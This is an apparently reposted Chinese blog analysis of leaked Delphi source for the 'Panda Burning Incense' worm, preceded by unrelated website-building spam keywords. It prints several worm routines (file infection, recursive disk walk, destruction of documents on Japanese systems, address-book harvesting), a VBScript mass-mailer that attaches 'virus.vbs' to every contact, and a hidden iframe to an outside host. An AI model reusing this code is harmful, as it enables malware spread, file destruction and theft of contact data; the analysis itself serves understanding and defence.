合肥企业网站建设工,自营店网站建设,平陆县网站建设,短链接在线生成免费一、 引言 去年秋天回趟老家#xff0c;适逢家中秋收后“祭宅神”。期间#xff0c;听亲家二大娘在香毕吟颂的《十柱香》的佛歌#xff0c;深有感触#xff1a;百姓烧香祝的是神仙幸福#xff0c;盼的是亲人平安—这 是作为衣食百姓发自内心的心愿#xff01;但如今… 一、 引言 去年秋天回趟老家适逢家中秋收后“祭宅神”。期间听亲家二大娘在香毕吟颂的《十柱香》的佛歌深有感触百姓烧香祝的是神仙幸福盼的是亲人平安—这 是作为衣食百姓发自内心的心愿但如今正待举国上下、一家老小庆祝金猪佳节到来之际图1中的这位老兄抢先一步把香烧到了几乎家家户户烧得各位焦头烂 额人人喊“杀”。 试问这位仁兄你到底想干什么 图1.“熊猫烧香”病毒感染可执行文件后的文件图标。 在短短一个月时间里“熊猫烧香”作者多次发布更新版的变种病毒每一次都针对以前设计的不完善进行修改每次更新都几尽感染破坏之能事。他为什么要如此 辛劳地研制病毒程序呢本人十分同意一些防毒软件专家的观点—“‘熊猫烧香’带有强烈的商业目的用户感染病毒后会从后台点击国外的网站部分变种中含 有盗号***病毒作者可借此牟利……”。 最近一份据称是“熊猫烧香”病毒的源代码正在互联网上散播任何人只要利用Google或者Baidu等搜索工具都可以轻易获得本人也是如此取得的代 码。粗略分析该代码后我们注意到该病毒在感染至日文操作系统时破坏性尤甚但对其它语言Windows也造成了严重破坏。 本文中我想对这个基于Delphi语言所编写的“熊猫烧香源码”作进一步分析并阐述自己的几点看法。二、 “熊猫烧香”病毒“源码”浅析 (一) 主程序段分析 原“熊猫烧香”病毒“源码”主程序段代码如下所示{主程序开始}beginif IsWin9x then //是Win9xRegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程else //WinNTbegin//远程线程映射到Explorer进程//哪位兄台愿意完成之end;//如果是原始病毒体自己if CompareText(ExtractFileName(ParamStr(0)), Japussy.exe) 0 then InfectFiles //感染和发邮件else //已寄生于宿主程序上了开始工作beginTmpFile : ParamStr(0); //创建临时文件……....Line nDelete(TmpFile, Length(TmpFile) - 4, 4);TmpFile : TmpFile #32 .exe; //真正的宿主文件多一个空格 ExtractFile(TmpFile); //分离之FillStartupInfo(Si, SW_SHOWDEFAULT);CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,0, nil, ., Si, Pi); //创建新进程运行之……....Line n7 InfectFiles; //感染和发邮件end;end. 稍加分析我们不难绘出其相应的执行流程如图2 图2.主程序流程图。 对于代码 RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程 虽然源码提供者省略了相应实现但这是比较基本的编程实现。通过把自身注册为服务进程可以使自己随着系统的启动一起启动。当然还可以进一步施加技巧而使自己从Windows任务管理器下隐藏显示。 然 后上面代码在判断当前操作系统不是Win9X后提到“远程线程映射到Explorer进程”一句。其实这里所用正是Jeffrey Richter所著《Windows 95 Windows NT 3.5高级编程技术》后多次更句一书第16章“闯过进程的边界”中详细讨论的“使用远程线程来注入一个DLL”技术。如今只要上网GOOGLE一下 “远程线程映射技术”即出现大量实现片断故在不再赘述。那么它包括其它许多病毒为什么要映射到Explorer进程呢原来Explorer 注Windows资源管理器的名字也是Explorer.exe但并不是一回事进程在Windows系统中举足轻重—Windows在启动过程 中都会随同激活一个名为Explorer.exe的进程。它用于管理Windows图形外壳包括开始菜单、任务栏、桌面和文件管理等损坏或删除该程序 会导致Windows图形界面无法适用。注这并不是说Windows的运行根本离不开它但删除掉这个程序后整个Windows桌面无法再用而对于 普通用户也感觉到好象无法再使用Windows了。 另注VCL函数Paramstr(n)的作用是返回当前可执行文件指定的命令行参数当n0时返回当前可执行文件名包含完整的路径。 因此上面代码中从第n行到第n7行的作用是从已感染的宿主程序中分离出原无染程序代码部分并启动此无染程序。这是病毒的重要伪装手段之一不是一 下子使宿主中毒瘫痪而是感染宿主使之达到继续传播目标的同时启动另一个“原”无毒程序实际上文件名已经改变加了一个空格字符。 接下来让我们深入分析上面流程中“InfectFiles感染文件”部分的执行过程。 (二) 具体感染文件的过程 这个子过程的源码如下所示 {遍历磁盘上所有的文件并实际感染}procedure InfectFiles;varDriverList: string;i, Len: Integer;beginif GetACP 932 then //日文操作系统。函数GetACP用于检索系统所用语言IsJap : True; //去死吧DriverList : GetDrives; //得到可写的磁盘列表Len : Length(DriverList);while True do //死循环beginfor i : Len downto 1 do //遍历每个磁盘驱动器LoopFiles(DriverList :, *.*); //感染之 SendMail; //发带毒邮件Sleep(1000 * 60 * 5); //睡眠5分钟—病毒常用简单诈骗术之一end;end;{ InfectFiles } 这里的核心是后面的死循环。先让我们分析较简单的“发带毒邮件”部分。从后面病毒具体遍历可用磁盘并执行具体感染过程可知此过程中它会取得安装在本机 中的常用邮件客户端程序OutlookFoxMail相应电子邮件信息。其目的是取得重要邮箱地址及相应密码然后向这些邮件地址群发带毒的电子 邮件从而达到利用网络传播自身的目的。下面是从网上摘录的一段VBScript脚本 Set objOAWscript.CreateObjectOutlook.Application创建一个OUTLOOK应用的对象 Set objMapiobjOA.GetNameSpaceMAPI取得MAPI名字空间 For i1 to objMapi.AddressLists.Count遍历地址簿 Set objAddListobjMapi.AddressListsiFor j1 To objAddList. AddressEntries.CountSet objMailobjOA.CreateItem 0 objMail.Recipients.Add objAddList. AddressEntries j取得收件人邮件地址 objMail.Subject你好! 设置邮件主题 objMail.Body这次给你的附件是我的新文档 设置信件内容 objMail.Attachments.Add“c:\virus.vbs 把自己作为附件扩散出去 objMail.Send发送邮件 Next Next Set objMapiNothing Set objOANothing 注意这段代码是非常基本的使用VBScript脚本操作Outlook COM对象并进而达到通过编程方式操作Outlook发送特定邮件的编程技术。其中最关键的一句在于 objMail.Attachments.Add“c:\virus.vbs 在此任何一名病毒制作者都可以把这个附件文件名修改为新病毒文件自身(三) LoopFiles子过程分析 这个子程序的功能是遍历本地磁盘并详细实施感染及破坏过程。在此列出其关键代码片断 { 遍历目录感染和摧毁文件 }procedure LoopFiles(Path, Mask: string);var//……局部变量定义Msg: TMsg;// IsValidDir判断指定对象是否是“目录”……function IsValidDir(SearchRec: TSearchRec): Integer;beginif (FindFirst(Path Mask, faAnyFile, SearchRec) 0) thenbeginrepeatPeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列避免引起怀疑if IsValidDir(SearchRec) 0 thenbeginFn : Path SearchRec.Name;Ext : UpperCase(ExtractFileExt(Fn));if (Ext .EXE) or (Ext .SCR) then //Line X beginInfectOneFile(Fn); //感染可执行文件endelse if (Ext .HTM) or (Ext .HTML) or (Ext .ASP) then begin//感染HTML和ASP文件将Base64编码后的病毒写入//感染浏览此网页的所有用户//哪位大兄弟愿意完成之endelse if Ext .WAB then //Outlook地址簿文件 begin//获取Outlook邮件地址endelse if Ext .ADC then //Foxmail地址自动完成文件 begin//获取Foxmail邮件地址endelse if Ext IND then //Foxmail地址簿文件 begin//获取Foxmail邮件地址endelsebeginif IsJap then //是倭文操作系统beginif (Ext .DOC) or (Ext .XLS) or (Ext .MDB) or ……thenSmashFile(Fn); //摧毁文件end;end;end;//感染或删除一个文件后睡眠200毫秒避免CPU占用率过高引起怀疑Sleep(200);until (FindNext(SearchRec) 0);end;FindClose(SearchRec);SubDir : TStringList.Create;if (FindFirst(Path *.*, faDirectory, SearchRec) 0) then beginrepeatif IsValidDir(SearchRec) 1 thenSubDir.Add(SearchRec.Name);until (FindNext(SearchRec) 0);end;FindClose(SearchRec);Count : SubDir.Count - 1;for i : 0 to Count doLoopFiles(Path SubDir.Strings , Mask); FreeAndNil(SubDir);end; 此子过程是典型的遍历本机中所有可用盘中的所有子目录下的所有文件并施行相应操作的编码。既如此那么让我们从Line X开始分析。在确定当前文件为可执行文件仅针对.EXE和.SCR文件后调用子过程InfectOneFile进行特定的感染。接下来如果文件为 某些网页扩展名为.HTM、.HTML和.ASP则继续感染这些网页文件—在网页最后加入类似如下的代码段本代码摘自某君对一种“熊猫病毒”变体 的分析结果 iframe srchxxp://www.ctv163.com/wuhan/down.htm width0 height0 frameborder0 /iframe 于是用户在启动此网页时即可把URL导航到自己指定的网址注读者试验时不妨修改一下其中的URL还有width和height等参数效果会更 明显。接下来程序进一步判断如果当前文件是电子邮件客户端程序相应的邮件地址数据文件则取得这些地址信息。虽然此处没有说明如何使用它们但根据普 通蠕虫病毒特征应该是把带有自身病毒体的邮件发送到这些邮件地址进而达到利用网络传播自身的目的。奇怪的是等程序执行判断到语句“if IsJap then”处—此时已经对满足前面特征的文件执行完相应的感染或传播—才判断操作系统是否为日文版本。如果是则对另外一些常见文件类型.DOC、. XLS、.MDB…….AVI进行彻底破坏调用过程SmashFile彻底摧毁文件。看起来这位“烧香”仁兄也是一位“爱国主义”分子。只可惜 在“打倒日本帝国主义”之前你的广大同胞已经被“焚得焦头烂额”了。三、 “熊猫烧香”源码告诉我们什么 一病毒的编写变得相对越来越容易 记得本人92年刚从学校毕业时要想深入学习一点DOS内核编程技术不得不费神“远程邮寄”参考书。而如今的互联网上***教程遍地XX***教程XX 破解教程各种流行程序漏洞扫描教程……国内的国外的应有尽有。另一方面微机早已进入普通家庭这对各种计算机技术的普及也起到巨大的推动作用。所 有这些极大地推动了病毒编写技术的传播乃至于几乎人人都能写点病毒但由于软件编码特有的“细活”之特性使得不少学习粗心者“无意插柳柳成荫”。二病毒的传播越来越容易 在 上面的代码中我们注意到如下几点第一程序遍历磁盘上邮件地址库把自己作为电子邮件附件发送出去第二病毒感染网页文件简单地在网页最后加入一小 段代码致使当前打开此网页时即激活病毒体。这些“作战”手段借助于广泛普及的因特网几乎是一蹴而就的事情。因而从这种角度讲病毒的传播已变得越来 越容易。三病毒代码传播的两面性 如今回趟沂蒙老家在普通农庄以ADSL上网已成趋势而且这种趋势可能较之于有线电视传播更为迅速。似本文“熊猫烧香”病毒“源代码”其效能如同前面 所提之各大“教程”从其正面看将极大地推动软件技术的发展和广大软件爱好者的研制技术但从其消极面看对于想制造病毒的人来说也有相当的技术参考 价值。只要稍试修改很多“好事者”都可以藉此制造出病毒变种说不定哪天又来个“鼠年喊打鼠”“牛年喊杀牛”。 总之网络是把双刃或者说技术是把双刃剑这在计算机软件业已得到最充分的认证于此作者也不由得灵光一现如果说“护花使者”类软件在国内外极受广 大家长用户的欢迎那么研究一款辅助警方缉拿这等网络犯罪的共享软件也必定受宠提及此我们不由得再发感叹也许还是国人软件法不健全抑或是另有 苦衷网络犯罪岂是来无影去无踪般神话。各位仁君不妨一试。 四“流氓软件” 离病毒仅一步之遥 且看中国互联网协会公布的流氓软件官方定义 恶意软件定义是指在未明确提示用户或未经用户许可的情况下在用户计算机或其他终端上安装运行侵犯用户合法权益的软件但已被我国现有法律法规规定的 计算机病毒除外。其具体特征包括强制安装、难以卸载、浏览器劫持、广告弹出、恶意收集用户信息、恶意卸载、恶意捆绑以及其他侵犯用户知情权、选择权的恶 意行为。 本人从网上也看到此“熊猫烧香”病毒作者留言的病毒制作“动机”但从该病毒其它版本频繁从后台启动国外指定网页的行为来看确有其 明确的商业动机。中国软件市场之混乱犹如计算机病毒之“毒瘤”改革开放之“腐败”毒瘤不治将恐甚。因此从最近“熊猫烧香”新版的“金猪闹春”发展 势头来看纵使该作者在论坛上透露将终止继续研发新版本但国软市场之混乱加上有其巨大的商业利益驱动他岂能就此罢手 如今网上大批特批“流氓软件”“灰色软件”。请问这样的日子何时是个尽头恕在下直言如果不从根本上整顿国软市场之混乱局面类似这种在网上疯传的“熊猫烧香”之“源码”必使“灰色软件”愈灰“流氓软件”之愈流氓 四、 小结 如今网上流传的“熊猫烧香源码”不由得不引发人们无尽的思考。我想联系中国特色的软件市场来认识这样的问题似乎更为合适。“熊猫”、“烧香”本来各自 是美好事物和良好祝福的象征现在却不由得不令人心焦。权当本文系在下之胡言乱语。最后谨祝各位金猪之年财运望发良财发洋财而不是发横财 转载于:https://blog.51cto.com/zhuxianzhong/59897